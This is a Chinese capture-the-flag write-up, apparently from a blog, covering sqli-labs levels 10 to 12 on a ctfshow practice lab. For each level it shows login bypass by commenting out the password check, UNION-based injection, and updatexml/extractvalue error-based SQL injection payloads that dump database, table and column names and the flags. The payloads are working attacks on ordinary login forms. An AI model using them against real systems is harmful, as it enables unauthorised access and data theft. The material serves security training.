sqli_labs-10,11,12 --详细解析

Less-10

信息搜集

是一个登录框,有两个传参点:

随便输一下,抓包看看传参形式和参数名:
POST传参,有uname和passwd参数。

SQL注入

从uname参数注入试试。先判断一下闭合类型,输入admin'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin'' and password='' LIMIT 0,1' at line 1

根据报错信息,可知两个传参点都是单引号闭合

而且这两个参数是用同一条语句查询的,这就意味着如果我们在uname传参点把后面的语句都注释掉,就可以通过只输入用户名的方式登录,而无需密码。

sql 复制代码
admin'--+ //报错,过滤了--+
admin'#  //成功登录

我们看到这里回显了账号和密码,大概推测回显位有两个。那么order by语句测试一下,果然是两个回显位。

sql 复制代码
0' union select 1,2#

判断了每个回显位对应的位置,而且知道了可以使用联合注入,接下来就是联合注入走流程:

sql 复制代码
0' union select 1,2#
0' union select 1,(select database())# //security
0' union select 1,(select group_concat(schema_name) from information_schema.schemata)# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')# //flagugsd
0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsd')# //id,flag43s
0' union select 1,(select group_concat(flag43s) from ctfshow.flagugsd)# //ctfshow{843bd566-43dd-4cc5-b215-433b86b7d678}

得到flag.

Less-11

信息搜集

和上一题一样

SQL注入

测试到双引号闭合的时候报错了
可知是双引号加括号闭合:admin")#,成功登录。

回显位和上一题一样。

依旧联合注入:

sql 复制代码
0") union select 1,(select group_concat(schema_name) from information_schema.schemata)# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
0") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')# //flagugsds
0") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsds')# //id,flag43as
0") union select 1,(select group_concat(flag43as) from ctfshow.flagugsds)# //ctfshow{b40cd342-4b6f-44ed-9e3e-795340dc1075}

得到flag。

Less-12

信息搜集

和前两题一样。

SQL注入

测试闭合,发现是单引号+括号闭合:admin')#

但是这次不会回显账号密码了,没有了回显位,联合注入被ban了。

由于有报错信息回显,所以我们使用报错注入。

用updatexml报错注入:

sql 复制代码
admin') and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# //'~ctfshow,ctftraining,information'

admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)# //'~flag~'

admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e),1)# //~id,flag4~'

admin') and updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e),1)# //'~ctfshow{6d80844a-5452-496e-86d0'

admin') and updatexml(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),30),0x7e),1)# // '~a-5452-496e-86d0-3cfca652aee7}~'

ctfshow{6d80844a-5452-496e-86d0-3cfca652aee7}

extractvalue注入:

sql 复制代码
admin') and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))# //~ctfshow{6d80844a-5452-496e-86d0'

admin') and extractvalue(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),30),0x7e))# //'~a-5452-496e-86d0-3cfca652aee7}~'

都能得到flag。

相关推荐
卜及中1 小时前
【Redis/2】核心特性、应用场景与安装配置
数据库·redis·缓存
恰薯条的屑海鸥1 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十五期-URL重定向模块)
学习·安全·web安全·渗透测试·网络安全学习
LucianaiB2 小时前
如何做好一份优秀的技术文档:专业指南与最佳实践
android·java·数据库
Eiceblue2 小时前
Python读取PDF:文本、图片与文档属性
数据库·python·pdf
敖云岚5 小时前
【Redis】分布式锁的介绍与演进之路
数据库·redis·分布式
LUCIAZZZ5 小时前
HikariCP数据库连接池原理解析
java·jvm·数据库·spring·springboot·线程池·连接池
我在北京coding5 小时前
300道GaussDB(WMS)题目及答案。
数据库·gaussdb
小Tomkk6 小时前
阿里云 RDS mysql 5.7 怎么 添加白名单 并链接数据库
数据库·mysql·阿里云
明月醉窗台6 小时前
qt使用笔记二:main.cpp详解
数据库·笔记·qt
沉到海底去吧Go7 小时前
【图片自动识别改名】识别图片中的文字并批量改名的工具,根据文字对图片批量改名,基于QT和腾讯OCR识别的实现方案
数据库·qt·ocr·图片识别自动改名·图片区域识别改名·pdf识别改名